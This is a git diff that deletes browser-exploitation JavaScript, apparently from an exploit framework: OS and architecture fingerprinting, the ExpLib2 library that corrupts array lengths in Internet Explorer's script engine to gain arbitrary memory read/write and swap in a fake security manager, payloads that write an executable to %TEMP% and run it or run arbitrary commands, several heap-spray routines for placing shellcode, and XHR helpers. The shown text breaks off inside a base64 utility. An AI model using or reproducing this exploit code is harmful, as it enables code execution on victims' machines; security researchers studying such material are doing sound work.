- os_lang = "en";
- }
-
- //--
- // Architecture
- //--
- if (typeof(navigator.cpuClass) != 'undefined') {
- // Then this is IE or Opera9+ and we can grab the arch directly
- switch (navigator.cpuClass) {
- case "x86":
- arch = arch_x86;
- break;
- case "x64":
- arch = arch_x86_64;
- break;
- }
- }
- if (!arch || 0 == arch.length) {
- // We don't have the handy-dandy navagator.cpuClass, so infer from
- // platform
- version = navigator.platform;
- //document.write(version + "\\n");
- // IE 8 does a bit of wacky user-agent switching for "Compatibility View";
- // 64-bit client on Windows 7, 64-bit:
- // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)
- // 32-bit client on Windows 7, 64-bit:
- // Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)
- // 32-bit client on Vista, 32-bit, "Compatibility View":
- // Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
- //
- // Report 32-bit client on 64-bit OS as being 32 because exploits will
- // need to know the bittedness of the process, not the OS.
- if ( ("Win32" == version) || (version.match(/i.86/)) ) {
- arch = arch_x86;
- } else if (-1 != version.indexOf('x64') || (-1 != version.indexOf('x86_64'))) {
- arch = arch_x86_64;
- } else if (-1 != version.indexOf('PPC')) {
- arch = arch_ppc;
- }
- }
-
- this.ua_is_lying = ua_is_lying;
- this.os_name = os_name;
- this.os_vendor = os_vendor;
- this.os_flavor = os_flavor;
- this.os_device = os_device;
- this.os_sp = os_sp;
- this.os_lang = os_lang;
- this.arch = arch;
- this.ua_name = ua_name;
- this.ua_version = ua_version;
- this.ua_version = ua_version;
-
- return { os_name:os_name, os_vendor:os_vendor, os_flavor:os_flavor, os_device:os_device, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version };
-}; // function getVersion
-
-os_detect.searchVersion = function(needle, haystack) {
- var index = haystack.indexOf(needle);
- var found_version;
- if (index == -1) { return; }
- found_version = haystack.substring(index+needle.length+1);
- if (found_version.indexOf(' ') != -1) {
- // Strip off any junk at the end such as a CLR declaration
- found_version = found_version.substring(0,found_version.indexOf(' '));
- }
- return found_version;
-};
-
-
-/*
- * Return -1 if a < b, 0 if a == b, 1 if a > b
- */
-ua_ver_cmp = function(ver_a, ver_b) {
- // shortcut the easy case
- if (ver_a == ver_b) {
- return 0;
- }
-
- a = ver_a.split(".");
- b = ver_b.split(".");
- for (var i = 0; i < Math.max(a.length, b.length); i++) {
- // 3.0 == 3
- if (!b[i]) { b[i] = "0"; }
- if (!a[i]) { a[i] = "0"; }
-
- if (a[i] == b[i]) { continue; }
-
- a_int = parseInt(a[i]);
- b_int = parseInt(b[i]);
- a_rest = a[i].substr(a_int.toString().length);
- b_rest = b[i].substr(b_int.toString().length);
- if (a_int < b_int) {
- return -1;
- } else if (a_int > b_int) {
- return 1;
- } else { // ==
- // Then we need to deal with the stuff after the ints, e.g.:
- // "b4pre"
- if (a_rest == "b" && b_rest.length == 0) {
- return -1;
- }
- if (b_rest == "b" && a_rest.length == 0) {
- return 1;
- }
- // Just give up and try a lexicographical comparison
- if (a_rest < b_rest) {
- return -1;
- } else if (a_rest > b_rest) {
- return 1;
- }
- }
- }
- // If we get here, they must be equal
- return 0;
-};
-
-ua_ver_lt = function(a, b) {
- if (-1 == this.ua_ver_cmp(a,b)) { return true; }
- return false;
-};
-ua_ver_gt = function(a, b) {
- if (1 == this.ua_ver_cmp(a,b)) { return true; }
- return false;
-};
-ua_ver_eq = function(a, b) {
- if (0 == this.ua_ver_cmp(a,b)) { return true; }
- return false;
-};
diff --git a/data/js/memory/explib2/lib/explib2.js b/data/js/memory/explib2/lib/explib2.js
deleted file mode 100644
index 434b36cf4d..0000000000
--- a/data/js/memory/explib2/lib/explib2.js
+++ /dev/null
@@ -1,426 +0,0 @@
-
-
-ExpLib = (function() {
-
- function ExpLib( num_arrays, arr_size, base, payload ) {
- this.arr1 = null;
- this.arr2 = null;
- this.base = base;
- this.arr_size = arr_size;
- this.arr_arr = null;
- // Allows to control the contents of the sprayed memory.
- // Have into account some array positions will be corrupted
- // while leaking and modifying things.
- this.arr_contents = [];
-
- this.payload = payload;
- this.modules = {}
- this.getproc = null;
- this.loadlibrary = null;
-
- // Offset to the Origin URL in the Stream, modifying it
- // allows to bypass msado15.SecurityCheck(), allowing
- // for example to write stream contents to filesystem.
- this.stream_origin = 0x44;
- }
-
- ExpLib.prototype.resolveAPI = function( modulename, procname ) {
- var module = this.resolveModule( modulename );
-
- return this.callAPI( this.getproc, module, this.allocateString(procname) );
- }
-
- ExpLib.prototype.resolveModule = function( modulename ) {
- if ( this.modules[modulename] )
- return this.modules[modulename];
-
- var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
- this.modules[modulename] = module;
- return module;
- }
-
- ExpLib.prototype.spray = function() {
- this.arr_arr = new Array( num_arrays );
-
- var decl = "[";
-
- for ( var i = 0; i < this.arr_size - 1; ++ i ) {
- decl += '0,';
- }
-
- decl += '0';
- decl += ']';
-
- for ( var i = 0; i < num_arrays; ++ i ) {
- this.arr_arr[i] = eval(decl);
- for(var j = 0; j < this.arr_contents.length; j++) {
- this.arr_arr[i][j] = this.arr_contents[j];
- }
- }
-
- }
-
- // Should be used before calling spray()
- ExpLib.prototype.setArrContents = function(contents) {
- for(var i = 0; i < this.arr_size && i < contents.length; i++) {
- this.arr_contents[i] = contents[i];
- }
- }
-
- ExpLib.prototype.setValue = function(i1, i2, v) {
- this.arr_arr[i1][i2] = v;
- }
-
-
- ExpLib.prototype.setValueByAddr = function(index, addr, v) {
- this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
- }
-
- ExpLib.prototype.read32 = function(addr) {
- if ( addr % 4 ) {
- // error
- }
-
- if ( addr >= this.arr2_member_base ) {
- return this.arr2[(addr - this.arr2_member_base)/4];
- } else {
- return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
- }
- }
-
- ExpLib.prototype.write32 = function(addr, value) {
- if ( addr % 4 ) {
- // error
- }
-
- if ( value >= 0x80000000 )
- value = -(0x100000000 - value);
-
- //alert(((addr - this.arr2_member_base)/4).toString(16));
- if ( addr >= this.arr2_member_base ) {
- this.arr2[(addr - this.arr2_member_base)/4] = value;
- } else {
- this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
- }
- }
-
- ExpLib.prototype.read8 = function(addr) {
- var value = this.read32( addr & 0xfffffffc );
- switch ( addr % 4 ) {
- case 0: return (value & 0xff);
- case 1: return ((value >> 8) & 0xff);
- case 2: return ((value >> 16) & 0xff);
- case 3: return ((value >> 24) & 0xff);
- }
-
- return 0;
- }
-
- ExpLib.prototype.write8 = function(addr, value) {
- var original_value = this.read32( addr & 0xfffffffc );
- var new_value;
-
- switch ( addr % 4 ) {
- case 0:
- new_value = (original_value & 0xffffff00) | (value & 0xff);
- break;
-
- case 1:
- new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
- break;
- case 2:
- new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
- break;
- case 3:
- new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
- break;
- }
-
-
- this.write32( addr & 0xfffffffc, new_value );
- }
-
-
- ExpLib.prototype.writeBytes = function(addr, bytes) {
- for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
- var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
- ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
-
- this.write32( addr + i, value );
- }
-
- for ( ; i < bytes.length; ++ i ) {
- this.write8( addr + i, bytes[i] );
- }
- }
-
- ExpLib.prototype.writeString = function(addr, s) {
- var bytes = [];
- var i = 0;
- for ( ; i < s.length; ++ i ) {
- bytes[i] = s.charCodeAt(i);
- }
-
- bytes[i] = 0;
-
- this.writeBytes( addr, bytes );
- }
-
- ExpLib.prototype.writeStringW = function(addr, s) {
- var bytes = [];
- var i = 0;
- for ( ; i < s.length; ++i ) {
- bytes[i * 2] = s.charCodeAt(i);
- bytes[i * 2 + 1] = 0;
- }
-
- bytes[s.length * 2] = 0;
- bytes[s.length * 2 + 1] = 0;
-
- this.writeBytes( addr, bytes );
- }
-
- ExpLib.prototype.read16 = function(addr) {
- if ( addr % 2 ) {
- // error, not aligned
- }
-
- var value = this.read32( addr & 0xfffffffc );
- switch ( addr % 4 ) {
- case 0: return (value & 0xffff);
- case 1: return ((value >> 8) & 0xffff);
- case 2: return ((value >> 16) & 0xffff);
- case 3: /*not supported*/ break;
- }
-
- return 0;
- }
-
- ExpLib.prototype.strequal = function(addr, s) {
- for ( var i = 0; i < s.length; ++ i ) {
- if ( this.read8(addr + i) != s.charCodeAt(i) )
- return false;
- }
-
- return true;
- }
-
-
- ExpLib.prototype.getModuleBase = function(addr) {
-
- var cur_addr = addr;
-
- while ( cur_addr > 0 ) {
-
- if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
- return cur_addr;
- }
-
- cur_addr -= 0x10000;
- }
-
- return 0;
- }
-
-
-
- ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
- var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
- var cur_table = import_table;
-
- while ( cur_table < import_table + 0x1000 ) {
-
- var name_addr = base + this.read32(cur_table + 12);
- if ( this.strequal( name_addr, name ) ) {
- var iat = base + this.read32(cur_table + 16);
- var func = this.read32(iat);
- while ( 0 == func ) {
- iat += 4;
- func = this.read32(iat);
- }
-
- return this.getModuleBase( func & 0xFFFF0000 );
-
- }
-
- cur_table += 20;
- }
-
- return 0;
- }
-
- ExpLib.prototype.getProcAddress = function(base, procname) {
- var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
- var num_functions = this.read32( export_table + 20 );
- var addr_functions = base + this.read32( export_table + 28 );
- var addr_names = base + this.read32( export_table + 32 );
- var addr_ordinals = base + this.read32( export_table + 36 );
-
- for ( var i = 0; i < num_functions; ++ i ) {
- var name_addr = this.read32( addr_names + i * 4 ) + base;
- if ( this.strequal( name_addr, procname ) ) {
- var ordinal = this.read16( addr_ordinals + i * 2 );
- var result = this.read32( addr_functions + ordinal * 4 ) + base;
- return result;
- }
- }
-
- return 0;
- }
-
- ExpLib.prototype.searchBytes = function(pattern, start, end) {
-
- if ( start >= end || start + pattern.length > end )
- return 0;
-
- var pos = start;
- while ( pos < end ) {
- for ( var i = 0; i < pattern.length; ++ i ) {
- if ( this.read8(pos + i) != pattern[i] )
- break;
- }
-
- if ( i == pattern.length ) {
- return pos;
- }
-
- ++ pos;
- }
-
- return 0;
- }
-
-
- ExpLib.prototype.getError = function(msg) {
- return this.err_msg;
- }
-
- ExpLib.prototype.setError = function(msg) {
- this.err_msg = msg;
- }
-
- ExpLib.prototype.setStreamOrigin = function(offset) {
- this.stream_origin = offset;
- }
-
- ExpLib.prototype.getStreamOrigin = function() {
- return this.stream_origin;
- }
-
- ExpLib.prototype.memcpy = function(dst, src, size) {
- var i = 0;
- for ( ; i < size - 4; i += 4 ) {
- this.write32( dst + i, this.read32(src + i) );
- }
-
- for ( ; i < size; ++ i ) {
- this.write8( dst + i, this.read8(src + i) );
- }
- }
-
- ExpLib.prototype.go = function() {
-
- var i = 0;
-
-
-
- for ( ; i < this.arr_arr.length - 1; ++ i ) {
- this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
-
- if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
- this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
- this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
-
- this.arr_arr[i + 1].length = 0x3fffffff;
-
- if ( this.arr_arr[i+1].length == 0x3fffffff ) {
- break;
- }
- }
-
- }
-
- if ( i >= this.arr_arr.length - 1 ) {
- this.setError( "Cannot find array with corrupt length!" );
- return false;
- }
-
- this.arr1_idx = i;
- this.arr2_idx = i + 1;
-
- this.arr1 = this.arr_arr[i];
- this.arr2 = this.arr_arr[i + 1];
-
- this.arr2_base = this.base + 0x1000;
- this.arr2_member_base = this.arr2_base + 0x20;
-
- var func_addr = this.leakAddress(ActiveXObject);
- var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
-
- //alert(script_engine_addr.toString(16));
-
- var original_securitymanager = this.read32( script_engine_addr + 0x21c );
- if ( !original_securitymanager ) {
- // let security manager to be valid
- try {
- var WshShell = new ActiveXObject("WScript.shell");
- } catch (e) {}
-
- original_securitymanager = this.read32( script_engine_addr + 0x21c );
- }
-
- var original_securitymanager_vtable = this.read32(original_securitymanager);
- var securitymanager_size = 0x28;
- var fake_securitymanager = 0x1a1b2010;
- var fake_securitymanager_vtable = fake_securitymanager + 0x28;
- //alert(original_securitymanager.toString(16));
-
- this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
- this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
- this.write32( fake_securitymanager, fake_securitymanager_vtable );
- this.write32(script_engine_addr + 0x21c, fake_securitymanager);
-
- var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
- var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
- var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
-
-
- this.write32( fake_securitymanager_vtable + 0x14,
- this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
-
- this.write32( fake_securitymanager_vtable + 0x10,
- this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
-
- this.payload.execute(this);
-
-
- /*
- * restore
- */
-
- this.write32( script_engine_addr + 0x21c, original_securitymanager );
-
- return true;
-
- }
-
- ExpLib.prototype.leakAddress = function(obj) {
- this.arr_arr[this.arr2_idx + 1][2] = obj;
- return this.read32(this.arr2_member_base + 0x1008);
- }
-
- ExpLib.prototype.switchStreamOrigin = function(stream) {
- var obj = this.leakAddress(stream);
- var stream_obj = this.read32(obj + 0x30);
- //var url_addr = this.read32(stream_obj + 0x3c);
- var url_addr = this.read32(stream_obj + this.stream_origin);
-
- /*
- * bypass domain check
- */
- this.writeStringW( url_addr, 'file:///C:/1.htm' );
- }
-
- return ExpLib;
-
-})();
diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js
deleted file mode 100644
index 1bba3effce..0000000000
--- a/data/js/memory/explib2/payload/drop_exec.js
+++ /dev/null
@@ -1,33 +0,0 @@
-function payload_drop_exec(pe) {
-
- this.execute = function(explib) {
-
- var WshShell = new ActiveXObject("WScript.shell");
- var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
- var filename = temp + "\\a.exe";
-
- var bStream = new ActiveXObject("ADODB.Stream");
- var txtStream = new ActiveXObject("ADODB.Stream");
- bStream.Type = 1;
- txtStream.Type = 2;
-
- bStream.Open();
- txtStream.Open();
-
- explib.switchStreamOrigin(txtStream);
-
- txtStream.WriteText(pe);
- txtStream.Position = 2;
- txtStream.CopyTo( bStream );
- txtStream.Close();
-
- explib.switchStreamOrigin(bStream);
-
- bStream.SaveToFile(filename, 2);
- bStream.Close();
-
- oExec = WshShell.Exec(filename);
- }
-
- return this;
-}
diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js
deleted file mode 100644
index 704db247e6..0000000000
--- a/data/js/memory/explib2/payload/exec.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function payload_exec(cmd) {
-
- this.execute = function(explib) {
-
- var WshShell = new ActiveXObject("WScript.shell");
- var oExec = WshShell.Exec(cmd);
- }
-
- return this;
-}
diff --git a/data/js/memory/heap_spray.js b/data/js/memory/heap_spray.js
deleted file mode 100644
index ca174aca80..0000000000
--- a/data/js/memory/heap_spray.js
+++ /dev/null
@@ -1,17 +0,0 @@
-var memory = new Array();
-function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
- var index;
- var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
- var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
- while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
- while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
-
- var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
- while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
- retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
-
- var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
- for (index = 0; index < heapBlockCnt; index++) {
- memory[index] = retSlide + shellcode;
- }
-}
\ No newline at end of file
diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js
deleted file mode 100644
index 1e2fecf1a0..0000000000
--- a/data/js/memory/heaplib2.js
+++ /dev/null
@@ -1,192 +0,0 @@
-//heapLib2 namespace
-function heapLib2() { }
-
-//These are attributes that will not actually create a bstr
-//and directly use the back-end allocator, completely bypassing the cache
-var global_attrs = ["title", "lang", "class"];
-
-heapLib2.ie = function(element, maxAlloc)
-{
- //128mb
- this.maxAlloc = 0x8000000;
-
- //make sure that an HTML DOM element is passed
- if(!element.nodeType || element.nodeType != 1)
- throw "alloc.argument: element not valid";
-
- this.element = element;
-
- if(maxAlloc)
- this.maxAlloc = maxAlloc;
-
- //empty the cache
- this.Oleaut32EmptyCache();
- this.Oleaut32FillCache();
- this.Oleaut32EmptyCache();
-
-}
-
-heapLib2.ie.prototype.newelement = function(element)
-{
- //make sure that an HTML DOM element is passed
- if(!element.nodeType || element.nodeType != 1)
- throw "alloc.argument: element not valid";
-
- this.element = element;
-}
-
-heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
-{
- if(typeof(cache_ok)==='undefined')
- cache_ok = false;
- else
- cache_ok = true;
-
- //make sure the attribute name is a string
- if(typeof attr_name != "string")
- throw "alloc.argument: attr_name is not a string";
-
- //make sure that the attribute name is not already present in the html element
- if(this.element.getAttribute(attr_name))
- throw "alloc.argument: element already contains attr_name: " + attr_name;
-
- //ensure the size is a number
- if(typeof size != "number")
- throw "alloc.argument: size is not a number: " + size;
-
- //make sure the size isn't one of the special values
- if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
- throw "alloc.argument: size cannot be flushed from cache: " + size;
-
- if(size > this.maxAlloc)
- throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
-
- //the size must be at a 16-byte boundary this can be commented out but
- //the allocations will be rounded to the nearest 16-byte boundary
- if(size % 16 != 0)
- throw "alloc.argument: size be a multiple of 16: " + size;
-
- //20-bytes will be added to the size
- //<4-byte size><2-byte null>
- size = ((size / 2) - 6);
-
- //May have to change this due to allocation side effects
- var data = new Array(size).join(cache_ok ? "C" : "$");
-
- var attr = document.createAttribute(attr_name);
- this.element.setAttributeNode(attr);
- this.element.setAttribute(attr_name, data);
-
-}
-
-//These items will allocate/free memory and should really
-//only be used once per element. You can use a new element
-//by calling the 'newelement' method above
-heapLib2.ie.prototype.alloc_nobstr = function(val)
-{
- //make sure the aval is a string
- if(typeof val != "string")
- throw "alloc.argument: val is not a string";
-
- var size = (val.length * 2) + 6;
-
- if(size > this.maxAlloc)
- throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
-
- var i = 0;
- var set_gattr = 0;
- for(i = 0; i < global_attrs.length; i++)
- {
- curr_gattr = global_attrs[i];
- if(!this.element.getAttribute(curr_gattr))
- {
- this.element.setAttribute(curr_gattr, "");
- this.element.setAttribute(curr_gattr, val);
- set_gattr = 1;
- break;
- }
- }
-
- if(set_gattr == 0)
- throw "alloc_nobstr: all global attributes are assigned, try a new element";
-}
-
-//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
-heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
-{
- //make sure the attribute name is a string
- if(typeof attr_name != "string")
- throw "alloc.argument: attr_name is not a string";
-
- //make sure that the attribute name is not already present in the html element
- if(this.element.getAttribute(attr_name))
- throw "alloc.argument: element already contains attr_name: " + attr_name;
-
- //ensure the size is a number
- if(typeof str != "string")
- throw "alloc.argument: str is not a string: " + typeof str;
-
- var size = (str.length * 2) + 6;
-
- //make sure the size isn't one of the special values
- if(size <= 0x8000)
- throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
-
- if(size > this.maxAlloc)
- throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
-
- var attr = document.createAttribute(attr_name);
- this.element.setAttributeNode(attr);
- this.element.setAttribute(attr_name, str);
-}
-
-heapLib2.ie.prototype.free = function(attr_name, skip_flush)
-{
- if(typeof(skip_flush)==='undefined')
- skip_flush = false;
- else
- skip_flush = true;
-
- //make sure that an HTML DOM element is passed
- if(!this.element.nodeType || this.element.nodeType != 1)
- throw "alloc.argument: element not valid";
-
- //make sure the attribute name is a string
- if(typeof attr_name != "string")
- throw "alloc.argument: attr_name is not a string";
-
- //make sure that the attribute name is not already present in the html element
- if(!this.element.getAttribute(attr_name))
- throw "alloc.argument: element does not contain attribute: " + attr_name;
-
- //make sure the cache is full so the chunk returns the general purpose heap
- if(!skip_flush)
- this.Oleaut32FillCache();
-
- this.element.setAttribute(attr_name, null);
-
- if(!skip_flush)
- this.Oleaut32EmptyCache()
-}
-
-heapLib2.ie.prototype.Oleaut32FillCache = function()
-{
- for(var i = 0; i < 6; i++)
- {
- this.free("cache0x20"+i, true);
- this.free("cache0x40"+i, true);
- this.free("cache0x100"+i, true);
- this.free("cache0x8000"+i, true);
- }
-}
-
-heapLib2.ie.prototype.Oleaut32EmptyCache = function()
-{
- for(var i = 0; i < 6; i++)
- {
- this.alloc("cache0x20"+i, 0x20, true);
- this.alloc("cache0x40"+i, 0x40, true);
- this.alloc("cache0x100"+i, 0x100, true);
- this.alloc("cache0x8000"+i, 0x8000, true);
- }
-}
\ No newline at end of file
diff --git a/data/js/memory/mstime_malloc.js b/data/js/memory/mstime_malloc.js
deleted file mode 100644
index d931db004f..0000000000
--- a/data/js/memory/mstime_malloc.js
+++ /dev/null
@@ -1,31 +0,0 @@
-function mstime_malloc(oArg) {
- var shellcode = oArg.shellcode;
- var offset = oArg.offset;
- var heapBlockSize = oArg.heapBlockSize;
- var objId = oArg.objId;
-
- if (shellcode == undefined) { throw "Missing argument: shellcode"; }
- if (offset == undefined) { offset = 0; }
- if (heapBlockSize == undefined) { throw "Size must be defined"; }
-
- var buf = "";
- for (var i=0; i < heapBlockSize/4; i++) {
- if (i == offset) {
- if (i == 0) { buf += shellcode; }
- else { buf += ";" + shellcode; }
- }
- else {
- buf += ";#W00TA";
- }
- }
-
- var e = document.getElementById(objId);
- if (e == null) {
- var eleId = "W00TB"
- var acTag = ""
- document.body.innerHTML = document.body.innerHTML + acTag;
- e = document.getElementById(eleId);
- }
- try { e.values = buf; }
- catch (e) {}
-}
\ No newline at end of file
diff --git a/data/js/memory/property_spray.js b/data/js/memory/property_spray.js
deleted file mode 100644
index f922e60196..0000000000
--- a/data/js/memory/property_spray.js
+++ /dev/null
@@ -1,38 +0,0 @@
-var sym_div_container;
-function sprayHeap( oArg ) {
- var shellcode = oArg.shellcode;
- var offset = oArg.offset;
- var heapBlockSize = oArg.heapBlockSize;
- var maxAllocs = oArg.maxAllocs;
- var objId = oArg.objId;
-
- if (shellcode == undefined) { throw "Missing argument: shellcode"; }
- if (offset == undefined) { offset = 0x00; }
- if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
- if (maxAllocs == undefined) { maxAllocs = 0x350; }
-
- if (offset > 0x800) { throw "Bad alignment"; }
-
- sym_div_container = document.getElementById(objId);
-
- if (sym_div_container == null) {
- sym_div_container = document.createElement("div");
- }
-
- sym_div_container.style.cssText = "display:none";
- var data;
- junk = unescape("%u2020%u2020");
- while (junk.length < offset+0x1000) junk += junk;
-
- data = junk.substring(0,offset) + shellcode;
- data += junk.substring(0,0x800-offset-shellcode.length);
-
- while (data.length < heapBlockSize) data += data;
-
- for (var i = 0; i < maxAllocs; i++)
- {
- var obj = document.createElement("button");
- obj.title = data.substring(0, (heapBlockSize-2)/2);
- sym_div_container.appendChild(obj);
- }
-}
\ No newline at end of file
diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js
deleted file mode 100644
index 789e58e4a8..0000000000
--- a/data/js/network/ajax_download.js
+++ /dev/null
@@ -1,18 +0,0 @@
-function ajax_download(oArg) {
- if (!oArg.method) { oArg.method = "GET"; }
- if (!oArg.path) { throw "Missing parameter 'path'"; }
- if (!oArg.data) { oArg.data = null; }
-
- var xmlHttp = new XMLHttpRequest();
-
- if (xmlHttp.overrideMimeType) {
- xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
- }
-
- xmlHttp.open(oArg.method, oArg.path, false);
- xmlHttp.send(oArg.data);
- if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
- return xmlHttp.responseText;
- }
- return null;
-}
\ No newline at end of file
diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js
deleted file mode 100644
index 91f6b47a1a..0000000000
--- a/data/js/network/ajax_post.js
+++ /dev/null
@@ -1,18 +0,0 @@
-function postInfo(path, data, cb) {
- var xmlHttp = new XMLHttpRequest();
-
- if (xmlHttp.overrideMimeType) {
- xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
- }
-
- xmlHttp.open('POST', path, !!cb);
-
- if (cb) {
- xmlHttp.onreadystatechange = function() {
- if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
- };
- }
-
- xmlHttp.send(data);
- return xmlHttp;
-}
diff --git a/data/js/network/xhr_shim.js b/data/js/network/xhr_shim.js
deleted file mode 100644
index 0cbdec39ef..0000000000
--- a/data/js/network/xhr_shim.js
+++ /dev/null
@@ -1,15 +0,0 @@
-if (!window.XMLHTTPRequest) {
- (function() {
- var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
- for (idx = 0; idx < activeObjs.length; idx++) {
- try {
- new ActiveXObject(activeObjs[idx]);
- window.XMLHttpRequest = function() {
- return new ActiveXObject(activeObjs[idx]);
- };
- break;
- }
- catch (e) {}
- }
- })();
-}
diff --git a/data/js/utils/base64.js b/data/js/utils/base64.js
deleted file mode 100644
index 3cb1dfa4cb..0000000000
--- a/data/js/utils/base64.js
+++ /dev/null
@@ -1,126 +0,0 @@
-// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
-// variable names changed to make obfuscation easier
-var Base64 = {
- // private property
- _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
-
- // private method
- _utf8_encode : function ( input ){
- input = input.replace(/\r\n/g,"\\n");
- var utftext = "";
- var input_idx;
-
- for (input_idx = 0; input_idx < input.length; input_idx++) {
- var chr = input.charCodeAt(input_idx);
- if (chr < 128) {
- utftext += String.fromCharCode(chr);
- }
- else if((chr > 127) && (chr < 2048)) {
- utftext += String.fromCharCode((chr >> 6) | 192);
- utftext += String.fromCharCode((chr & 63) | 128);
- } else {
- utftext += String.fromCharCode((chr >> 12) | 224);
- utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
- utftext += String.fromCharCode((chr & 63) | 128);
- }
- }
-
- return utftext;
- },
-
- // public method for encoding
- encode : function( input ) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var input_idx = 0;
-
- input = Base64._utf8_encode(input);
-
- while (input_idx < input.length) {
- chr1 = input.charCodeAt( input_idx++ );
- chr2 = input.charCodeAt( input_idx++ );
- chr3 = input.charCodeAt( input_idx++ );
-
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
-
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output = output +
- this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
- this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
- }
- return output;
- },
- // public method for decoding
- decode : function (input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
-
- input = input.replace(/[^A-Za-z0-9\+\/\\=]/g, "");
-
- while (i < input.length) {
-
- enc1 = this._keyStr.indexOf(input.charAt(i++));
- enc2 = this._keyStr.indexOf(input.charAt(i++));
- enc3 = this._keyStr.indexOf(input.charAt(i++));
- enc4 = this._keyStr.indexOf(input.charAt(i++));
-
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
-
- output = output + String.fromCharCode(chr1);
-
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
-
- }
-
- output = Base64._utf8_decode(output);
-
- return output;
-
- },
- _utf8_decode : function (utftext) {
- var string = "";
- var input_idx = 0;
- var chr1 = 0;
- var chr2 = 0;
- var chr3 = 0;
-
- while ( input_idx < utftext.length ) {
-
- chr1 = utftext.charCodeAt(input_idx);
-
- if (chr1 < 128) {
- string += String.fromCharCode(chr1);
- input_idx++;
- }
- else if((chr1 > 191) && (chr1 < 224)) {
